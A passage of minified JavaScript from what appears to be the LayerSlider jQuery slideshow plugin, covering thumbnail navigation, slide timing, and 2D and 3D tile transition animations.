            var r = u.o.tnContainerWidth.indexOf("%") == -1 ? parseInt(u.o.tnContainerWidth) : parseInt(t / 100 * parseInt(u.o.tnContainerWidth));
            n.css({
                width: r * Math.floor(u.g.ratio * 100) / 100
            });
            if (n.width() > e(s).find(".ls-thumbnail-slide").width()) {
                n.css({
                    width: e(s).find(".ls-thumbnail-slide").width()
                })
            }
            u.bottomNavSizeHelper("off")
        };
        u.changeThumb = function(t) {
            var n = t ? t : u.g.nextLayerIndex;
            e(s).find(".ls-thumbnail-slide a:not(.ls-thumb-" + n + ")").children().each(function() {
                e(this).removeClass("ls-thumb-active").stop().fadeTo(750, u.o.tnInactiveOpacity / 100)
            });
            e(s).find(".ls-thumbnail-slide a.ls-thumb-" + n).children().addClass("ls-thumb-active").stop().fadeTo(750, u.o.tnActiveOpacity / 100)
        };
        u.scrollThumb = function() {
            if (!e(s).find(".ls-thumbnail-slide-container").hasClass("ls-thumbnail-slide-hover")) {
                var t = e(s).find(".ls-thumb-active").length ? e(s).find(".ls-thumb-active").parent() : false;
                if (t) {
                    var n = t.position().left + t.width() / 2;
                    var r = e(s).find(".ls-thumbnail-slide-container").width() / 2 - n;
                    r = r < e(s).find(".ls-thumbnail-slide-container").width() - e(s).find(".ls-thumbnail-slide").width() ? e(s).find(".ls-thumbnail-slide-container").width() - e(s).find(".ls-thumbnail-slide").width() : r;
                    r = r > 0 ? 0 : r;
                    e(s).find(".ls-thumbnail-slide").animate({
                        marginLeft: r
                    }, 600, "easeInOutQuad")
                }
            }
        };
        u.bottomNavSizeHelper = function(t) {
            if (u.o.hoverBottomNav && !e(s).hasClass("ls-hover")) {
                switch (t) {
                    case "on":
                        u.g.thumbsWrapper.css({
                            visibility: "hidden",
                            display: "block"
                        });
                        break;
                    case "off":
                        u.g.thumbsWrapper.css({
                            visibility: "visible",
                            display: "none"
                        });
                        break
                }
            }
        };
        u.animate = function() {
            u.g.isAnimating = true;
            u.g.isLoading = false;
            clearTimeout(u.g.slideTimer);
            clearTimeout(u.g.changeTimer);
            u.g.stopLayer = u.g.curLayer;
            u.o.cbAnimStart(u.g);
            if (u.o.thumbnailNavigation == "always") {
                u.changeThumb();
                if (!("ontouchstart" in window)) {
                    u.scrollThumb()
                }
            }
            u.g.nextLayer.addClass("ls-animating");
            var t = curLayerRight = curLayerTop = curLayerBottom = nextLayerLeft = nextLayerRight = nextLayerTop = nextLayerBottom = layerMarginLeft = layerMarginRight = layerMarginTop = layerMarginBottom = "auto";
            var o = nextLayerWidth = u.g.sliderWidth();
            var a = nextLayerHeight = u.g.sliderHeight();
            var f = u.g.prevNext == "prev" ? u.g.curLayer : u.g.nextLayer;
            var l = f.data("slidedirection") ? f.data("slidedirection") : u.o.slideDirection;
            var c = u.g.slideDirections[u.g.prevNext][l];
            if (c == "left" || c == "right") {
                o = curLayerTop = nextLayerWidth = nextLayerTop = 0;
                layerMarginTop = 0
            }
            if (c == "top" || c == "bottom") {
                a = t = nextLayerHeight = nextLayerLeft = 0;
                layerMarginLeft = 0
            }
            switch (c) {
                case "left":
                    curLayerRight = nextLayerLeft = 0;
                    layerMarginLeft = -u.g.sliderWidth();
                    break;
                case "right":
                    t = nextLayerRight = 0;
                    layerMarginLeft = u.g.sliderWidth();
                    break;
                case "top":
                    curLayerBottom = nextLayerTop = 0;
                    layerMarginTop = -u.g.sliderHeight();
                    break;
                case "bottom":
                    curLayerTop = nextLayerBottom = 0;
                    layerMarginTop = u.g.sliderHeight();
                    break
            }
            u.g.curLayer.css({
                left: t,
                right: curLayerRight,
                top: curLayerTop,
                bottom: curLayerBottom
            });
            u.g.nextLayer.css({
                width: nextLayerWidth,
                height: nextLayerHeight,
                left: nextLayerLeft,
                right: nextLayerRight,
                top: nextLayerTop,
                bottom: nextLayerBottom
            });
            var h = u.g.curLayer.data("delayout") ? parseInt(u.g.curLayer.data("delayout")) : u.o.delayOut;
            var p = u.g.curLayer.data("durationout") ? parseInt(u.g.curLayer.data("durationout")) : u.o.durationOut;
            var d = u.g.curLayer.data("easingout") ? u.g.curLayer.data("easingout") : u.o.easingOut;
            var v = u.g.nextLayer.data("delayin") ? parseInt(u.g.nextLayer.data("delayin")) : u.o.delayIn;
            var m = u.g.nextLayer.data("durationin") ? parseInt(u.g.nextLayer.data("durationin")) : u.o.durationIn;
            var g = u.g.nextLayer.data("easingin") ? u.g.nextLayer.data("easingin") : u.o.easingIn;
            var y = function() {
                u.g.curLayer.delay(h + p / 15).animate({
                    width: o,
                    height: a
                }, p, d, function() {
                    b()
                })
            };
            var b = function() {
                u.g.stopLayer.find(' > *[class*="ls-s"]').stop(true, true);
                u.o.cbAnimStop(u.g);
                u.g.curLayer = u.g.nextLayer;
                u.g.curLayerIndex = u.g.nextLayerIndex;
                e(s).find(".ls-layer").removeClass("ls-active");
                e(s).find(".ls-layer:eq(" + (u.g.curLayerIndex - 1) + ")").addClass("ls-active").removeClass("ls-animating");
                e(s).find(".ls-bottom-slidebuttons a").removeClass("ls-nav-active");
                e(s).find(".ls-bottom-slidebuttons a:eq(" + (u.g.curLayerIndex - 1) + ")").addClass("ls-nav-active");
                if (u.g.autoSlideshow) {
                    u.timer()
                }
                u.g.isAnimating = false;
                if (u.g.resize == true) {
                    u.makeResponsive(u.g.curLayer, function() {
                        u.g.resize = false
                    })
                }
            };
            var w = function(t) {
                u.g.curLayer.find(' > *[class*="ls-s"]').each(function() {
                    var n = e(this).data("slidedirection") ? e(this).data("slidedirection") : c;
                    var r, i;
                    switch (n) {
                        case "left":
                            r = -u.g.sliderWidth();
                            i = 0;
                            break;
                        case "right":
                            r = u.g.sliderWidth();
                            i = 0;
                            break;
                        case "top":
                            i = -u.g.sliderHeight();
                            r = 0;
                            break;
                        case "bottom":
                            i = u.g.sliderHeight();
                            r = 0;
                            break
                    }
                    var s = e(this).data("slideoutdirection") ? e(this).data("slideoutdirection") : false;
                    switch (s) {
                        case "left":
                            r = u.g.sliderWidth();
                            i = 0;
                            break;
                        case "right":
                            r = -u.g.sliderWidth();
                            i = 0;
                            break;
                        case "top":
                            i = u.g.sliderHeight();
                            r = 0;
                            break;
                        case "bottom":
                            i = -u.g.sliderHeight();
                            r = 0;
                            break
                    }
                    var o = parseInt(e(this).attr("class").split("ls-s")[1]);
                    if (o == -1) {
                        var a = parseInt(e(this).css("left"));
                        var f = parseInt(e(this).css("top"));
                        if (i < 0) {
                            i = -(u.g.sliderHeight() - f + 1)
                        } else if (i > 0) {
                            i = f + e(this).outerHeight() + 1
                        }
                        if (r < 0) {
                            r = -(u.g.sliderWidth() - a + 1)
                        } else if (r > 0) {
                            r = a + e(this).outerWidth() + 1
                        }
                        var l = 1
                    } else {
                        var h = u.g.curLayer.data("parallaxout") ? parseInt(u.g.curLayer.data("parallaxout")) : u.o.parallaxOut;
                        var l = o * h
                    }
                    var p = e(this).data("delayout") ? parseInt(e(this).data("delayout")) : u.o.delayOut;
                    var d = e(this).data("durationout") ? parseInt(e(this).data("durationout")) : u.o.durationOut;
                    var v = e(this).data("easingout") ? e(this).data("easingout") : u.o.easingOut;
                    if (t) {
                        p = 0;
                        d = t
                    }
                    var m = "none";
                    if (!u.g.ie78 && u.g.enableCSS3) {
                        m = e(this).data("rotateout") ? e(this).data("rotateout") : 0
                    }
                    var g = "none";
                    if (!u.g.ie78 && u.g.enableCSS3) {
                        g = e(this).data("scaleout") ? e(this).data("scaleout") : 1
                    }
                    if (e(this).data("showUntilTimer")) {
                        clearTimeout(e(this).data("showUntilTimer"))
                    }
                    if (s == "fade" || !s && n == "fade") {
                        if (!u.g.ie78) {
                            e(this).stop(true, false).delay(p).animate({
                                opacity: 0,
                                rotate: m,
                                scale: g
                            }, d, v, function() {
                                e(this).css({
                                    visibility: "hidden",
                                    opacity: e(this).data("originalOpacity")
                                })
                            })
                        } else {
                            e(this).stop(true, true).delay(p).fadeOut(d, v, function() {
                                e(this).css({
                                    visibility: "hidden",
                                    display: "block"
                                })
                            })
                        }
                    } else {
                        e(this).stop(true, false).delay(p).animate({
                            rotate: m,
                            scale: g,
                            marginLeft: -r * l,
                            marginTop: -i * l
                        }, d, v)
                    }
                })
            };
            var E = function() {
                u.g.nextLayer.delay(h + v).animate({
                    width: u.g.sliderWidth(),
                    height: u.g.sliderHeight()
                }, m, g)
            };
            var S = function() {
                if (u.g.totalDuration) {
                    h = 0
                }
                u.g.nextLayer.find(' > *[class*="ls-s"]').each(function() {
                    var t = e(this).data("slidedirection") ? e(this).data("slidedirection") : c;
                    var n, r;
                    switch (t) {
                        case "left":
                            n = -u.g.sliderWidth();
                            r = 0;
                            break;
                        case "right":
                            n = u.g.sliderWidth();
                            r = 0;
                            break;
                        case "top":
                            r = -u.g.sliderHeight();
                            n = 0;
                            break;
                        case "bottom":
                            r = u.g.sliderHeight();
                            n = 0;
                            break;
                        case "fade":
                            r = 0;
                            n = 0;
                            break
                    }
                    var i = parseInt(e(this).attr("class").split("ls-s")[1]);
                    if (i == -1) {
                        var s = parseInt(e(this).css("left"));
                        var o = parseInt(e(this).css("top"));
                        if (r < 0) {
                            r = -(o + e(this).outerHeight() + 1)
                        } else if (r > 0) {
                            r = u.g.sliderHeight() - o + 1
                        }
                        if (n < 0) {
                            n = -(s + e(this).outerWidth() + 1)
                        } else if (n > 0) {
                            n = u.g.sliderWidth() - s + 1
                        }
                        var a = 1
                    } else {
                        var f = u.g.nextLayer.data("parallaxin") ? parseInt(u.g.nextLayer.data("parallaxin")) : u.o.parallaxIn;
                        var a = i * f
                    }
                    var l = e(this).data("delayin") ? parseInt(e(this).data("delayin")) : u.o.delayIn;
                    var p = e(this).data("durationin") ? parseInt(e(this).data("durationin")) : u.o.durationIn;
                    var d = e(this).data("easingin") ? e(this).data("easingin") : u.o.easingIn;
                    var m = e(this);
                    var g = function() {
                        if (u.o.autoPlayVideos == true) {
                            m.find(".ls-videopreview").click()
                        }
                        if (m.data("showuntil") > 0) {
                            m.data("showUntilTimer", setTimeout(function() {
                                u.sublayerShowUntil(m)
                            }, m.data("showuntil")))
                        }
                    };
                    var y = "none";
                    if (!u.g.ie78 && u.g.enableCSS3) {
                        y = e(this).data("rotatein") ? e(this).data("rotatein") : 0
                    }
                    var b = "none";
                    if (!u.g.ie78 && u.g.enableCSS3) {
                        b = e(this).data("scalein") ? e(this).data("scalein") : 1
                    }
                    if (t == "fade") {
                        if (!u.g.ie78) {
                            e(this).css({
                                transform: "rotate(" + y + "deg) scale(" + b + ")",
                                "-ms-transform": "rotate(" + y + "deg) scale(" + b + ")",
                                "-webkit-transform": "rotate(" + y + "deg) scale(" + b + ")",
                                "-o-transform": "rotate(" + y + "deg) scale(" + b + ")",
                                "-moz-transform": "rotate(" + y + "deg) scale(" + b + ")",
                                opacity: 0,
                                visibility: "visible",
                                marginLeft: 0,
                                marginTop: 0
                            }).stop().delay(h + v + l).animate({
                                scale: 1,
                                rotate: 0,
                                opacity: e(this).data("originalOpacity")
                            }, p, d, function() {
                                g()
                            })
                        } else {
                            e(this).css({
                                display: "none",
                                visibility: "visible",
                                marginLeft: 0,
                                marginTop: 0
                            }).stop(true, true).delay(h + v + l).fadeIn(p, d, function() {
                                g()
                            })
                        }
                    } else {
                        if (!u.g.ie78) {
                            e(this).css({
                                opacity: e(this).data("originalOpacity")
                            })
                        }
                        e(this).css({
                            transform: "rotate(" + y + "deg) scale(" + b + ")",
                            "-ms-transform": "rotate(" + y + "deg) scale(" + b + ")",
                            "-webkit-transform": "rotate(" + y + "deg) scale(" + b + ")",
                            "-o-transform": "rotate(" + y + "deg) scale(" + b + ")",
                            "-moz-transform": "rotate(" + y + "deg) scale(" + b + ")",
                            marginLeft: n * a,
                            marginTop: r * a,
                            display: "block",
                            visibility: "visible"
                        });
                        e(this).stop().delay(h + v + l).animate({
                            marginLeft: 0,
                            marginTop: 0,
                            scale: 1,
                            rotate: 0
                        }, p, d, function() {
                            g()
                        })
                    }
                })
            };
            var x = function() {
                if (n(e(s)) && typeof e.transit != "undefined" && (u.g.nextLayer.data("transition3d") || u.g.nextLayer.data("customtransition3d"))) {
                    if (u.g.nextLayer.data("transition3d") && u.g.nextLayer.data("customtransition3d")) {
                        var t = Math.floor(Math.random() * 2);
                        var r = [
                            ["3d", u.g.nextLayer.data("transition3d")],
                            ["custom3d", u.g.nextLayer.data("customtransition3d")]
                        ];
                        N(r[t][0], r[t][1])
                    } else if (u.g.nextLayer.data("transition3d")) {
                        N("3d", u.g.nextLayer.data("transition3d"))
                    } else {
                        N("custom3d", u.g.nextLayer.data("customtransition3d"))
                    }
                } else {
                    if (u.g.nextLayer.data("transition2d") && u.g.nextLayer.data("customtransition2d")) {
                        var t = Math.floor(Math.random() * 2);
                        var r = [
                            ["2d", u.g.nextLayer.data("transition2d")],
                            ["custom2d", u.g.nextLayer.data("customtransition2d")]
                        ];
                        N(r[t][0], r[t][1])
                    } else if (u.g.nextLayer.data("transition2d")) {
                        N("2d", u.g.nextLayer.data("transition2d"))
                    } else if (u.g.nextLayer.data("customtransition2d")) {
                        N("custom2d", u.g.nextLayer.data("customtransition2d"))
                    } else {
                        N("2d", "all")
                    }
                }
            };
            var T = function() {
                if (n(e(s)) && LSCustomTransition.indexOf("3d") != -1) {
                    N("3d", LSCustomTransition.split(":")[1])
                } else {
                    if (LSCustomTransition.indexOf("3d") != -1) {
                        N("2d", "all")
                    } else {
                        N("2d", LSCustomTransition.split(":")[1])
                    }
                }
            };
            var N = function(e, t) {
                var n = e.indexOf("custom") == -1 ? u.t : u.ct;
                var r = "3d",
                    s, o;
                if (e.indexOf("2d") != -1) {
                    r = "2d"
                }
                if (t.indexOf("last") != -1) {
                    o = n["t" + r].length - 1;
                    s = "last"
                } else if (t.indexOf("all") != -1) {
                    o = Math.floor(Math.random() * i(n["t" + r]));
                    s = "random from all"
                } else {
                    var a = t.split(",");
                    var f = a.length;
                    o = parseInt(a[Math.floor(Math.random() * f)]) - 1;
                    s = "random from specified"
                }
                C(r, n["t" + r][o])
            };
            var C = function(t, n) {
                var i = e(s).find(".ls-inner");
                var o = u.g.curLayer.find('*[class*="ls-s"]').length > 0 ? 1e3 : 0;
                var a = n.name.toLowerCase().indexOf("carousel") == -1 ? false : true;
                var f = typeof n.cols == "number" ? n.cols : Math.floor(Math.random() * (n.cols[1] - n.cols[0] + 1)) + n.cols[0];
                var l = typeof n.rows == "number" ? n.rows : Math.floor(Math.random() * (n.rows[1] - n.rows[0] + 1)) + n.rows[0];
                if (u.g.isMobile() == true && u.o.optimizeForMobile == true || u.g.ie78 && u.o.optimizeForIE78 == true) {
                    if (f >= 15) {
                        f = 7
                    } else if (f >= 5) {
                        f = 4
                    } else if (f >= 4) {
                        f = 3
                    } else if (f > 2) {
                        f = 2
                    }
                    if (l >= 15) {
                        l = 7
                    } else if (l >= 5) {
                        l = 4
                    } else if (l >= 4) {
                        l = 3
                    } else if (l > 2) {
                        l = 2
                    }
                    if (l > 2 && f > 2) {
                        l = 2;
                        if (f > 4) {
                            f = 4
                        }
                    }
                }
                var c = e(s).find(".ls-inner").width() / f;
                var h = e(s).find(".ls-inner").height() / l;
                if (!u.g.ltContainer) {
                    u.g.ltContainer = e("<div>").addClass("ls-lt-container").addClass("ls-overflow-hidden").css({
                        width: i.width(),
                        height: i.height()
                    }).prependTo(i)
                } else {
                    u.g.ltContainer.empty().css({
                        width: i.width(),
                        height: i.height()
                    })
                }
                var p = i.width() - Math.floor(c) * f;
                var d = i.height() - Math.floor(h) * l;
                var v = [];
                v.randomize = function() {
                    var e = this.length,
                        t, n, r;
                    if (e == 0) return false;
                    while (--e) {
                        t = Math.floor(Math.random() * (e + 1));
                        n = this[e];
                        r = this[t];
                        this[e] = r;
                        this[t] = n
                    }
                    return this
                };
                for (var m = 0; m < f * l; m++) {
                    v.push(m)
                }
                switch (n.tile.sequence) {
                    case "reverse":
                        v.reverse();
                        break;
                    case "col-forward":
                        v = r(l, f, "forward");
                        break;
                    case "col-reverse":
                        v = r(l, f, "reverse");
                        break;
                    case "random":
                        v.randomize();
                        break
                }
                if (t == "3d") {
                    u.g.totalDuration = o + (f * l - 1) * n.tile.delay;
                    var g = 0;
                    if (n.before && n.before.duration) {
                        g += n.before.duration
                    }
                    if (n.animation && n.animation.duration) {
                        g += n.animation.duration
                    }
                    if (n.after && n.after.duration) {
                        g += n.after.duration
                    }
                    u.g.totalDuration += g;
                    var y = 0;
                    if (n.before && n.before.delay) {
                        y += n.before.delay
                    }
                    if (n.animation && n.animation.delay) {
                        y += n.animation.delay
                    }
                    if (n.after && n.after.delay) {
                        y += n.after.delay
                    }
                    u.g.totalDuration += y
                } else {
                    u.g.totalDuration = o + (f * l - 1) * n.tile.delay + n.transition.duration;
                    u.g.curTiles = e("<div>").addClass("ls-curtiles").appendTo(u.g.ltContainer);
                    u.g.nextTiles = e("<div>").addClass("ls-nexttiles").appendTo(u.g.ltContainer)
                }
                var E = u.g.prevNext;
                for (var x = 0; x < f * l; x++) {
                    var T = x % f == 0 ? p : 0;
                    var N = x > (l - 1) * f - 1 ? d : 0;
                    var C = e("<div>").addClass("ls-lt-tile").css({
                        width: Math.floor(c) + T,
                        height: Math.floor(h) + N
                    }).appendTo(u.g.ltContainer);
                    var k, L;
                    if (t == "3d") {
                        C.addClass("ls-3d-container");
                        var A = Math.floor(c) + T;
                        var O = Math.floor(h) + N;
                        var M;
                        if (n.animation.direction == "horizontal") {
                            if (Math.abs(n.animation.transition.rotateY) > 90 && n.tile.depth != "large") {
                                M = Math.floor(A / 7) + T
                            } else {
                                M = A
                            }
                        } else {
                            if (Math.abs(n.animation.transition.rotateX) > 90 && n.tile.depth != "large") {
                                M = Math.floor(O / 7) + N
                            } else {
                                M = O
                            }
                        }
                        var _ = A / 2;
                        var D = O / 2;
                        var P = M / 2;
                        var H = function(t, n, r, i, s, o, u, a, f) {
                            e("<div>").addClass(t).css({
                                width: r,
                                height: i,
                                transform: "translate3d(" + s + "px, " + o + "px, " + u + "px) rotateX(" + a + "deg) rotateY(" + f + "deg) rotateZ(0deg) scale3d(1, 1, 1)",
                                "-o-transform": "translate3d(" + s + "px, " + o + "px, " + u + "px) rotateX(" + a + "deg) rotateY(" + f + "deg) rotateZ(0deg) scale3d(1, 1, 1)",
                                "-ms-transform": "translate3d(" + s + "px, " + o + "px, " + u + "px) rotateX(" + a + "deg) rotateY(" + f + "deg) rotateZ(0deg) scale3d(1, 1, 1)",
                                "-moz-transform": "translate3d(" + s + "px, " + o + "px, " + u + "px) rotateX(" + a + "deg) rotateY(" + f + "deg) rotateZ(0deg) scale3d(1, 1, 1)",
                                "-webkit-transform": "translate3d(" + s + "px, " + o + "px, " + u + "px) rotateX(" + a + "deg) rotateY(" + f + "deg) rotateZ(0deg) scale3d(1, 1, 1)"
                            }).appendTo(n)
                        };
                        H("ls-3d-box", C, 0, 0, 0, 0, -P, 0, 0);
                        var B = 0;
                        var j = 0;
                        var F = 0;
                        if (n.animation.direction == "vertical" && Math.abs(n.animation.transition.rotateX) > 90) {
                            H("ls-3d-back", C.find(".ls-3d-box"), A, O, -_, -D, -P, 180, 0)
                        } else {
                            H("ls-3d-back", C.find(".ls-3d-box"), A, O, -_, -D, -P, 0, 180)
                        }
                        H("ls-3d-bottom", C.find(".ls-3d-box"), A, M, -_, D - P, 0, -90, 0);
                        H("ls-3d-top", C.find(".ls-3d-box"), A, M, -_, -D - P, 0, 90, 0);
                        H("ls-3d-front", C.find(".ls-3d-box"), A, O, -_, -D, P, 0, 0);
                        H("ls-3d-left", C.find(".ls-3d-box"), M, O, -_ - P, -D, 0, 0, -90);
                        H("ls-3d-right", C.find(".ls-3d-box"), M, O, _ - P, -D, 0, 0, 90);
                        k = C.find(".ls-3d-front");
                        if (n.animation.direction == "horizontal") {
                            if (Math.abs(n.animation.transition.rotateY) > 90) {
                                L = C.find(".ls-3d-back")
                            } else {
                                L = C.find(".ls-3d-left, .ls-3d-right")
                            }
                        } else {
                            if (Math.abs(n.animation.transition.rotateX) > 90) {
                                L = C.find(".ls-3d-back")
                            } else {
                                L = C.find(".ls-3d-top, .ls-3d-bottom")
                            }
                        }
                        var I = o + v[x] * n.tile.delay;
                        var q = u.g.ltContainer.find(".ls-3d-container:eq(" + x + ") .ls-3d-box");
                        if (n.before && n.before.transition) {
                            n.before.transition.delay = n.before.transition.delay ? n.before.transition.delay + I : I;
                            q.transition(n.before.transition, n.before.duration, n.before.easing)
                        } else {
                            n.animation.transition.delay = n.animation.transition.delay ? n.animation.transition.delay + I : I
                        }
                        q.transition(n.animation.transition, n.animation.duration, n.animation.easing);
                        if (n.after) {
                            q.transition(e.extend({}, {
                                scale3d: 1
                            }, n.after.transition), n.after.duration, n.after.easing)
                        }
                    } else {
                        var R = L1 = T2 = L2 = "auto";
                        var U = O2 = 1;
                        if (n.transition.direction == "random") {
                            var z = ["top", "bottom", "right", "left"];
                            var W = z[Math.floor(Math.random() * z.length)]
                        } else {
                            var W = n.transition.direction
                        }
                        if (n.name.toLowerCase().indexOf("mirror") != -1 && x % 2 == 0) {
                            if (E == "prev") {
                                E = "next"
                            } else {
                                E = "prev"
                            }
                        }
                        if (E == "prev") {
                            switch (W) {
                                case "top":
                                    W = "bottom";
                                    break;
                                case "bottom":
                                    W = "top";
                                    break;
                                case "left":
                                    W = "right";
                                    break;
                                case "right":
                                    W = "left";
                                    break;
                                case "topleft":
                                    W = "bottomright";
                                    break;
                                case "topright":
                                    W = "bottomleft";
                                    break;
                                case "bottomleft":
                                    W = "topright";
                                    break;
                                case "bottomright":
                                    W = "topleft";
                                    break
                            }
                        }
                        switch (W) {
                            case "top":
                                R = T2 = -C.height();
                                L1 = L2 = 0;
                                break;
                            case "bottom":
                                R = T2 = C.height();
                                L1 = L2 = 0;
                                break;
                            case "left":
                                R = T2 = 0;
                                L1 = L2 = -C.width();
                                break;
                            case "right":
                                R = T2 = 0;
                                L1 = L2 = C.width();
                                break;
                            case "topleft":
                                R = C.height();
                                T2 = 0;
                                L1 = C.width();
                                L2 = 0;
                                break;
                            case "topright":
                                R = C.height();
                                T2 = 0;
                                L1 = -C.width();
                                L2 = 0;
                                break;
                            case "bottomleft":
                                R = -C.height();
                                T2 = 0;
                                L1 = C.width();
                                L2 = 0;
                                break;
                            case "bottomright":
                                R = -C.height();
                                T2 = 0;
                                L1 = -C.width();
                                L2 = 0;
                                break
                        }
                        u.g.scale2D = n.transition.scale ? n.transition.scale : 1;
                        if (a == true && u.g.scale2D != 1) {
                            R = R / 2;
                            T2 = T2 / 2;
                            L1 = L1 / 2;
                            L2 = L2 / 2
                        }
                        switch (n.transition.type) {
                            case "fade":
                                R = T2 = L1 = L2 = 0;
                                U = 0;
                                O2 = 1;
                                break;
                            case "mixed":
                                U = 0;
                                O2 = 1;
                                if (u.g.scale2D == 1) {
                                    T2 = L2 = 0
                                }
                                break
                        }
                        if ((n.transition.rotate || n.transition.rotateX || n.transition.rotateY || u.g.scale2D != 1) && !u.g.ie78 && n.transition.type != "slide") {
                            C.css({
                                overflow: "visible"
                            })
                        } else {
                            C.css({
                                overflow: "hidden"
                            })
                        }
                        if (a == true) {
                            u.g.curTiles.css({
                                overflow: "visible"
                            })
                        } else {
                            u.g.curTiles.css({
                                overflow: "hidden"
                            })
                        }
                        if (n.transition.type == "slide" || a == true) {
                            var X = C.appendTo(u.g.curTiles);
                            var V = C.clone().appendTo(u.g.nextTiles);
                            k = e("<div>").addClass("ls-curtile").appendTo(X)
                        } else {
                            var V = C.appendTo(u.g.nextTiles)
                        }
                        L = e("<div>").addClass("ls-nexttile").appendTo(V).css({
                            top: -R,
                            left: -L1,
                            dispay: "block",
                            opacity: U
                        });
                        var J = o + v[x] * n.tile.delay;
                        if (u.g.cssTransitions && typeof e.transit != "undefined") {
                            var K = n.transition.rotate ? n.transition.rotate : 0;
                            var Q = n.transition.rotateX ? n.transition.rotateX : 0;
                            var G = n.transition.rotateY ? n.transition.rotateY : 0;
                            if (E == "prev") {
                                K = -K;
                                Q = -Q;
                                G = -G
                            }
                            if (Q != 0 || G != 0 || K != 0 || u.g.scale2D != 1) {
                                L.css({
                                    transform: "rotate(" + K + "deg) rotateX(" + Q + "deg) rotateY(" + G + "deg) scale(" + u.g.scale2D + "," + u.g.scale2D + ")",
                                    "-o-transform": "rotate(" + K + "deg) rotateX(" + Q + "deg) rotateY(" + G + "deg) scale(" + u.g.scale2D + "," + u.g.scale2D + ")",
                                    "-ms-transform": "rotate(" + K + "deg) rotateX(" + Q + "deg) rotateY(" + G + "deg) scale(" + u.g.scale2D + "," + u.g.scale2D + ")",
                                    "-moz-transform": "rotate(" + K + "deg) rotateX(" + Q + "deg) rotateY(" + G + "deg) scale(" + u.g.scale2D + "," + u.g.scale2D + ")",
                                    "-webkit-transform": "rotate(" + K + "deg) rotateX(" + Q + "deg) rotateY(" + G + "deg) scale(" + u.g.scale2D + "," + u.g.scale2D + ")"
                                })
                            }
                            L.transition({
                                delay: J,
                                top: 0,
                                left: 0,
                                opacity: O2,
                                rotate: 0,
                                rotateX: 0,
                                rotateY: 0,
                                scale: 1
                            }, n.transition.duration, n.transition.easing);
                            if ((n.transition.type == "slide" || a == true) && n.name.toLowerCase().indexOf("mirror") == -1) {
                                var Y = 0;
                                if (K != 0) {
                                    Y = -K
                                }
                                k.transition({
                                    delay: J,
                                    top: T2,
                                    left: L2,
                                    rotate: Y,
                                    scale: u.g.scale2D,
                                    opacity: U
                                }, n.transition.duration, n.transition.easing)
                            }
                        } else {
                            L.delay(J).animate({
                                top: 0,
                                left: 0,
                                opacity: O2
                            }, n.transition.duration, n.transition.easing);
                            if (n.transition.type == "slide") {
                                k.delay(J).animate({
                                    top: T2,
                                    left: L2
                                }, n.transition.duration, n.transition.easing)
                            }
                        }
                    }
                    var Z = u.g.curLayer.find(".ls-bg");
                    if (Z.length) {
                        if (t == "3d" || t == "2d" && (n.transition.type == "slide" || a == true)) {
                            k.append(e("<img>").attr("src", Z.attr("src")).css({
                                width: Z[0].style.width,
                                height: Z[0].style.height,
                                marginLeft: i.width() / 2 + parseFloat(Z.css("margin-left")) - parseInt(C.position().left),
                                marginTop: i.height() / 2 + parseFloat(Z.css("margin-top")) - parseInt(C.position().top)
                            }))
                        } else if (u.g.curTiles.children().length == 0) {
                            u.g.curTiles.append(e("<img>").attr("src", Z.attr("src")).css({
                                width: Z[0].style.width,
                                height: Z[0].style.height,
                                marginLeft: i.width() / 2 + parseFloat(Z.css("margin-left")),
                                marginTop: i.height() / 2 + parseFloat(Z.css("margin-top"))
                            }))
                        }
                    }
                    var et = u.g.nextLayer.find(".ls-bg");
                    if (et.length) {
                        L.append(e("<img>").attr("src", et.attr("src")).css({
                            width: et[0].style.width,
                            height: et[0].style.height,
                            marginLeft: i.width() / 2 + parseFloat(et.css("margin-left")) - parseInt(C.position().left),
                            marginTop: i.height() / 2 + parseFloat(et.css("margin-top")) - parseInt(C.position().top)
                        }))
                    }
                }
                var tt = u.g.curLayer;
                var nt = u.g.nextLayer;
                nt.find(".ls-bg").css({
                    visibility: "hidden"
                });
                w(o);
                setTimeout(function() {
                    tt.css({
                        width: 0
                    });
                    u.g.ltContainer.removeClass("ls-overflow-hidden")
                }, o);
                var rt = parseInt(nt.data("timeshift")) ? parseInt(nt.data("timeshift")) : 0;
                var it = u.g.totalDuration + rt > 0 ? u.g.totalDuration + rt : 0;
                setTimeout(function() {
                    if (u.g.resize == true) {
                        u.g.ltContainer.empty();
                        tt.removeClass("ls-active");
                        u.makeResponsive(nt, function() {
                            u.g.resize = false
                        })
                    }
                    S();
                    nt.css({
                        width: u.g.sliderWidth(),
                        height: u.g.sliderHeight()
                    })
                }, it);
                setTimeout(function() {
                    u.g.ltContainer.addClass("ls-overflow-hidden");
                    nt.addClass("ls-active");
                    if (nt.find(".ls-bg").length) {
                        nt.find(".ls-bg").css({
                            display: "none",
                            visibility: "visible"
                        });
                        if (u.g.ie78) {
                            nt.find(".ls-bg").css("display", "block");
                            setTimeout(function() {
                                b()
                            }, 500)
                        } else {
                            nt.find(".ls-bg").fadeIn(500, function() {
                                b()
                            })
                        }
                    } else {
                        b()
                    }
                }, u.g.totalDuration)
            };
            transitionType = (u.g.nextLayer.data("transition3d") || u.g.nextLayer.data("transition2d")) && u.t || (u.g.nextLayer.data("customtransition3d") || u.g.nextLayer.data("customtransition2d")) && u.ct ? "new" : "old";
            if (u.o.animateFirstLayer && !u.g.firstLayerAnimated) {
                if (u.g.layersNum == 1) {
                    var h = 0;
                    u.o.cbAnimStop(u.g)
                } else {
                    var k = parseInt(u.g.nextLayer.data("timeshift")) ? parseInt(u.g.nextLayer.data("timeshift")) : 0;
                    var L = transitionType == "new" ? 0 : p;
                    setTimeout(function() {
                        b()
                    }, L + Math.abs(k))
                }
                u.g.totalDuration = true;
                S();
                u.g.nextLayer.css({
                    width: u.g.sliderWidth(),
                    height: u.g.sliderHeight()
                });
                if (!u.g.ie78) {
                    u.g.nextLayer.find(".ls-bg").css({
                        display: "none"
                    }).fadeIn(500)
                }
                u.g.firstLayerAnimated = true;
                u.g.isLoading = false
            } else {
                switch (transitionType) {
                    case "old":
                        u.g.totalDuration = false;
                        if (u.g.ltContainer) {
                            u.g.ltContainer.empty()
                        }
                        y();
                        w();
                        E();
                        S();
                        break;
                    case "new":
                        if (typeof LSCustomTransition != "undefined") {
                            T()
                        } else {
                            x()
                        }
                        break
                }
            }
        };
        u.sublayerShowUntil = function(e) {
            var t = u.g.curLayer;
            if (u.g.prevNext != "prev" && u.g.nextLayer) {
                t = u.g.nextLayer
            }
            var n = t.data("slidedirection") ? t.data("slidedirection") : u.o.slideDirection;
            var r = u.g.slideDirections[u.g.prevNext][n];
            var i = e.data("slidedirection") ? e.data("slidedirection") : r;
            var s, o;
            switch (i) {
